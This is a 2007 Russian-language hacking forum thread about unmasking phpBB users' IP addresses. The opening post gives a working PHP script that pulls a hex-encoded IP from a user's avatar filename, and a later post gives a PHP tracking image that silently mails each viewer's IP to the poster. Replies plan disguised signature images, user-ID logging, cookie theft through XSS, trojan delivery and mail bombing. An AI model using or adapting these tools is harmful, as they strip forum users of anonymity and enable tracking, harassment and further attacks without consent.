узнаем IP в phpBB

Discussion in 'PHP' started by Scipio, 29 May 2007.

  1. Scipio

    Scipio Well-Known Member

    Joined:
    2 Nov 2006
    Messages:
    733
    Likes Received:
    544
    Reputations:
    190
    Небольшой скрипт, для того, что бы узнать IP пользователя на форуме phpBB... есть 3 нюанса:

    1. Узнать IP можно только у пользователя с аватарой... (причем IP на тот момент, когда он аватару прекреплял)

    2. Работает не на всех форумах, но на подавляющем большинстве...

    3. Вводить нужно не номер пользователя в списке пользователей, а его id

    вот код:
    Code:
    <html>
    
    <head>
      <title></title>
    </head>
    
    <body>
    
     <?php
    error_reporting(E_ALL);
    set_time_limit(0);
    echo "<pre>";
    $k=$PHP_SELF;
    $pr='';
    $ip='';
    $pat='/(http:\/\/)?([^\/]+)/i';
    if (!isset($adr)){$adr='';}
    echo "by Scipio<br>\n\n\n";
    echo "<form action='".$k."' method='post'>";
    echo "<p>путь к форуму:<br>";
    echo "<input type='text' name='adr' value='".$adr."'/><br><br>";
    echo "id пользователя:<br>";
    echo "<input type='text' name='id'/><br><br>";
    echo "<input type='submit' name='submit' value='Жмем и пробуем' />";
    echo "</p>";
    if (!isset($id)){die;}
    if (empty($adr) or empty($id))
       {die ("не все поля заполнены");}
         else
       {$adr=trim($adr);
         preg_match($pat,$adr, $matches);
         @$pr= $matches[1];
         @$host = $matches[2];
         $qr=explode($pr.$host,$adr);
         $qveria=$qr[1];
         empty($qveria)?$qveria='/':$qveria=$qveria;
         $ock=fsockopen($host,80);
         $pac="GET ".$qveria."/"."profile.php?mode=viewprofile&u=".$id." HTTP/1.0\r\nHost: ".$host."\r\n\r\n";
         fputs ($ock,$pac);
                while (!feof($ock))
                     {
                    //echo fgets ($ock,128);
                     $st=fgets ($ock,128);
                    
                    if (preg_match("/avatars\//i",$st,$_8)) {
                          $cod=explode($_8[0],$st);
                          $cod=substr($cod[1],0,8);
    
    
                     for ($i=0;$i<8;$i=$i+2)
                        {$ipd=$cod{$i}.$cod{$i+1};
                         $ip=$ip.hexdec($ipd).'.';
    
    
                     	}
    
                       }
    
                     }
         fclose ($ock);
          }
          if (!empty($ip)){  $ip=substr_replace($ip, '', strlen($ip)-1);
          echo "ip:".$ip."<a href=http://old.antichat.ru/util/whois/?ip=".$ip.">[whois]</a>";}else{die("узнать ip не удалось");}
    
    echo "</pre>";
    
    ?>
    
    </body>
    
    </html>
    Не судите строго, если комуто понадобится... буду улучшать и может быть переведу на perl...
     
    2 people like this.
  2. yeti

    yeti Elder - Старейшина

    Joined:
    27 Dec 2006
    Messages:
    179
    Likes Received:
    234
    Reputations:
    346
    Смотри в чем дело.. Ip у всех динамический.. Не легче сделать что-то типа тойже картинки(это я к примеру) и просто скрипт ведения логов сделать. тогда уж будет гарантированно узнавать Ip.. Вроде видела где-то.. Да и СИ никто не отменял..
     
    2 people like this.
  3. Scipio

    Scipio Well-Known Member

    Joined:
    2 Nov 2006
    Messages:
    733
    Likes Received:
    544
    Reputations:
    190
    ip - то динамический, но вот подсеть чаще всего не меняется...
    для абуза сойдет...

    и еще... ты немного не поняла сам код... тут айпи получается из названия файла-аватары
     
  4. yeti

    yeti Elder - Старейшина

    Joined:
    27 Dec 2006
    Messages:
    179
    Likes Received:
    234
    Reputations:
    346
    Scipio, да, код я вполне возможно не поняла.. но.. все же.. учусь понемногу. И предложила альтернативный метод..

    ну подсеть-то да..
     
  5. Knight_of_Darkness

    Knight_of_Darkness Elder - Старейшина

    Joined:
    3 Feb 2007
    Messages:
    69
    Likes Received:
    68
    Reputations:
    24
    /* если чето и получится наподобие, то логи должны вестись на серваке */
    И при чем тут СИ?
     
  6. Petr

    Petr Banned

    Joined:
    10 Jun 2006
    Messages:
    642
    Likes Received:
    369
    Reputations:
    -13
    Хм, а у меня друга идея появилась, вы когд-нибудь видели картинки в подписях, типо там ваш айпи светится, можно такую картинку сделать и маршуритизировать через скрипт каторый будет отлавливать пакет и данные сохронять где-нибудь на фтп.
    Даже думаю можно сделать так (но это уже труднея, я даже плохова-то знаю как) чтобы и ник человека в лог писался.
    Если кто реализует, напиши-те что идея моя.
     
  7. Scipio

    Scipio Well-Known Member

    Joined:
    2 Nov 2006
    Messages:
    733
    Likes Received:
    544
    Reputations:
    190
    Это можно... (мож кто так и делает) вопрос втом, можно ли с серва коннектится к чужим сокетам, да и ник не узнаешь... так как идентификация идет по кукам (и ip иногда), а там ники не прописываются, хотя могут быть и исключения

    2all Ну как скрипт работает?
     
  8. yeti

    yeti Elder - Старейшина

    Joined:
    27 Dec 2006
    Messages:
    179
    Likes Received:
    234
    Reputations:
    346
    Sandjuro, ну почему трудно? вот я например отлично знаю, что моя подпись... она идет с самшита, а туда IP пишется. логи кароч.. примерно про это и говорила.. еще можно просто оформить не как подпись, а так.. ссылочку пихнуть, а кто туда заходил - логи сделать! в общем, способов много!
     
  9. Petr

    Petr Banned

    Joined:
    10 Jun 2006
    Messages:
    642
    Likes Received:
    369
    Reputations:
    -13
    Scipio, Ладно потправим идею, Делаем скрипт для определения айпи, Делаем картинку каторая работает с этим скриптом, + возможно чтобы он айди юзера собирал? это ж уже свой будет скрипт с картинкой, а картинку можно любую, чтобы даже не палили что это не просто картинка :)
    Ах да, потом этотот скрипт может перенаправлять все по данному адресу (каторый впишем) и там уже сработает обычный php файлик каторый все красиве в txt и упакует
    Как тебе такая идея?
     
  10. Scipio

    Scipio Well-Known Member

    Joined:
    2 Nov 2006
    Messages:
    733
    Likes Received:
    544
    Reputations:
    190
    ну типа активной Xss`ки? вот узерид можно... на атичате они в куки пишутся, но имхо не везде... а попробовать можно... послушать бы админов античата?
     
  11. Petr

    Petr Banned

    Joined:
    10 Jun 2006
    Messages:
    642
    Likes Received:
    369
    Reputations:
    -13
    Нет, не Xss, Ладно для уточнения так скажу, ты можеш забацать такуежу картинку чтобы она айпи опредиляла и коннект был с твоим серваком
     
  12. gemaglabin

    gemaglabin Green member

    Joined:
    1 Aug 2006
    Messages:
    772
    Likes Received:
    842
    Reputations:
    1,369
    Вы наконец поняли как узнать айпи хакера???Надо чтобы потом сразу же порты сканировались и авторутер запускался и потом логи по почте лучше бандеролью.
     
  13. Petr

    Petr Banned

    Joined:
    10 Jun 2006
    Messages:
    642
    Likes Received:
    369
    Reputations:
    -13
    Ты писал как стеб, но меня на идею автоматического впаривания трояна появилась, но это потом ;)
     
  14. yeti

    yeti Elder - Старейшина

    Joined:
    27 Dec 2006
    Messages:
    179
    Likes Received:
    234
    Reputations:
    346
    Scipio, нее.. xss'ка - это другое.. там уже все куки прет же, и к томуже сниффер нужен. Это уже уязвимости юзает, а следовательно способ имеет ряд недостатков и неуниверсален. И он не тупо IPшник узнает.. так что.. делаем выводы сами..

    ну вот к примеру, чтобы узнать Ip мы же не будем у булки(считается одним из самых безопасных форумов) искать уязвимости... Правильно? нам легче картинку залить. или ссылочку..
     
  15. Scipio

    Scipio Well-Known Member

    Joined:
    2 Nov 2006
    Messages:
    733
    Likes Received:
    544
    Reputations:
    190
    ты это имелл ввиду?
    Code:
    <?php
    Header("Content-type: image/png");
    $string="$REMOTE_ADDR";
    $tex="Scipio has your ip";
    $img = ImageCreateFromPng("image.png");
    $colr = ImageColorAllocate($img, 225, 225, 225);
    mail("[email protected]", "log", $string);
    ImageString($img,3,75,43, $tex,$colr);
    ImagePng($img);
    ImageDestroy($img);
    ?>
    ?
     
  16. Petr

    Petr Banned

    Joined:
    10 Jun 2006
    Messages:
    642
    Likes Received:
    369
    Reputations:
    -13
    Scipio, Ну как я понял он узнает айпи и перешлет тебе на почту, узника в подпись себе такую, и скажи сработало.
    Этот способ помоему намного актуальней
     
  17. yeti

    yeti Elder - Старейшина

    Joined:
    27 Dec 2006
    Messages:
    179
    Likes Received:
    234
    Reputations:
    346
    Scipio, один из методов по сути..
     
  18. Scipio

    Scipio Well-Known Member

    Joined:
    2 Nov 2006
    Messages:
    733
    Likes Received:
    544
    Reputations:
    190
    Не думаю, что все позволят так просто почту отправлять... да и в пхпББ нет картинок-подписей

    так почту бомбить можно было бы...
     
    #18 Scipio, 30 May 2007
    Last edited: 30 May 2007
  19. Petr

    Petr Banned

    Joined:
    10 Jun 2006
    Messages:
    642
    Likes Received:
    369
    Reputations:
    -13
    Ок, а если аватарка, загрузить её с помощью веб ссылки...Хотя нет, с аватакой может и не прокатить, там уже примудрости в том что она загрузится, или если указывать ссылку на аватарку то она не грузится на серв где форум?
    в любом случии не обезательно на почту, лучше в лог, а то отписавшись в популярной теме с просмотрами в 1000, хуже спама будет.
    Можеш тут юзнуть этот способ?
     
  20. yeti

    yeti Elder - Старейшина

    Joined:
    27 Dec 2006
    Messages:
    179
    Likes Received:
    234
    Reputations:
    346
    Scipio, впринципе.. даже самый простенький фаер не позволит долбиться чему-либо непонятному на SMTP.. но ведь форум - это форум.. хотя у хостера вроде фаеры стоят. нет.. лучше сделать тупо на хостинг..